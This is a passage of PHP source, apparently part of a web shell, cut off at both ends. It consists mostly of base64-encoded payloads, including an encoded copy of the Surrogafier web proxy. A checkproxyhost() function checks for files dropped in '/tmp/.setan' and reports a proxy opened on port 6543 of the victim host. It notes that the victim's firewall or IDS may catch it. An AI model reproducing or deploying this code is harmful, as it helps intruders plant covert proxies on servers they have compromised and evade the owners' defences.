lbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=\r\n\";\r\n\r\nfunction checkproxyhost(){\r\n\$host = getenv(\"HTTP_HOST\");\r\n\$filename = '/tmp/.setan/xh';\r\nif (file_exists(\$filename)) {\r\n\$_POST['proxyhostmsg']=\"</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=\$host:6543>\$host:6543</a></br></br><b>Note:</b> If '\$host' has a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>\";\r\n} else {\r\n\$_POST['proxyhostmsg']=\"</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>\";\r\n } \r\n}\r\n\r\n\r\n\r\n\$phpproxy=\"\r\nPD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1w